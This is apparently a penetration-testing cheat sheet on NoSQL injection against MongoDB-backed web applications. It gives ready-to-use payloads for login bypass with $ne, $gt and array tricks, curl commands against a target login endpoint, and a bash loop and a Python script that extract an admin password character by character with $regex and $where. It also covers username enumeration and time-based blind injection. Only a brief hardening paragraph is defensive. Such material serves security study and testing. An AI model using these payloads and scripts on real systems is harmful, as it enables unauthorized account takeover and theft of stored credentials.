Web

NoSQL Injection

NoSQL injection against MongoDB-backed apps: auth bypass with operators like $ne/$gt, blind data extraction with $regex, and mass array bypass. JSON body and form-encoded variants.

Detection

Step 1 — Trigger a syntax error

Inject a single quote into every parameter (URL query, form field, JSON value) and observe the response:

category=Gifts'

In Burp Proxy, intercept the request and send to Repeater. Inject ' into the target parameter and press Ctrl+U to URL-encode. A changed response — error message, empty results, different status code — indicates the input reaches a NoSQL query.

Step 2 — Confirm injection with string concatenation

category=Gifts'+'

If the response returns the same results as category=Gifts → string concatenation was evaluated server-side → confirmed injection.

Step 3 — Boolean condition test

False condition (should return no results or fewer):

category=Gifts' && 0 && 'x

True condition (should return normal results):

category=Gifts' && 1 && 'x

URL-encode both (Ctrl+U in Repeater). If false returns fewer items and true returns normal items → boolean injection confirmed.

Step 4 — Exploit with always-true operator

category=Gifts'||1||'

This evaluates to true for every document — returns all records including hidden/unreleased ones.


Auth bypass

When a web app passes user input directly into a MongoDB query, operators replace the expected value.

JSON body (most common in API logins):

curl -s http://<TARGET>/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":{"$ne":null}}'

$gt variant (empty string is less than any real password):

curl -s http://<TARGET>/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":{"$gt":""}}'

Form-encoded variant (classic web form):

username=admin&password[$ne]=x

Array bypass (some frameworks accept arrays and skip type checks):

username=admin&password[]=

Blind data extraction

Extract field values character by character with $regex. Test whether the password starts with each character — a different response (timing, length, content) reveals a match.

curl -s http://<TARGET>/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":{"$regex":"^a.*"}}'

Automate with a loop (bash):

for c in {a..z} {0..9}; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://<TARGET>/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$c.*\"}}");
  echo "$c: $code";
done

Username enumeration

Bypass with a known password and iterate usernames:

curl -s http://<TARGET>/login \
  -H 'Content-Type: application/json' \
  -d '{"username":{"$ne":null},"password":"wrongpassword"}'

Regex on username field:

curl -s http://<TARGET>/login \
  -H 'Content-Type: application/json' \
  -d '{"username":{"$regex":"^adm.*"},"password":{"$ne":null}}'

JavaScript injection ($where)

If the app uses $where with unsanitised input:

username=admin&password=x%27%7C%7Cthis.password.match(%2F.*%2F)%7C%7C%27

Equivalent JSON:

{"username": "admin", "$where": "this.password.length > 0"}

Hardening

Validate and cast all user input before passing to queries. Use an ODM (Mongoose) with strict schemas. Never pass raw request objects into find()/findOne().


Server-Side JavaScript Injection (SSJI) via $where

MongoDB’s $where operator evaluates a JavaScript expression server-side. Injecting into a $where query achieves auth bypass and blind data extraction without any MongoDB operator characters.

Auth bypass

# If the app builds: db.users.find({$where: "this.username == '" + input + "'"})

username=admin" || true || "1"=="1

Resulting expression:

this.username == 'admin" || true || "1"=="1'
// Returns all documents (true always)

JSON body equivalent:

{"username": "admin", "password": {"$where": "'' == '' || true"}}

Blind data extraction via character-by-character match

// Inject into username field (URL-encoded):
// ' || (this.username.match('^a.*')) || '1'=='2

username=admin' || (this.username.match('^H.*')) || '1'=='2

If the response differs (user found vs not found) → the username starts with H.

Python script to extract the admin password:

import requests, string

URL = "http://TARGET/login"
charset = string.ascii_letters + string.digits + "_-@."
known = ""

while True:
    found = False
    for c in charset:
        # Escape special regex chars
        pattern = f'^{known}{c}.*'
        payload = f"admin' || (this.password.match('{pattern}')) || '1'=='2"
        r = requests.post(URL, data={'username': payload, 'password': 'wrong'})

        # Adjust condition to match "found" vs "not found" in your app
        if "Invalid credentials" not in r.text and r.status_code == 200:
            known += c
            print(f"Found so far: {known}")
            found = True
            break

    if not found:
        print(f"Final: {known}")
        break

Time-based blind (sleep loop)

// Inject: ' || (function(){var d=new Date();while(new Date()-d<5000){}return true;})() || '1'=='2

5-second delay = injection executed.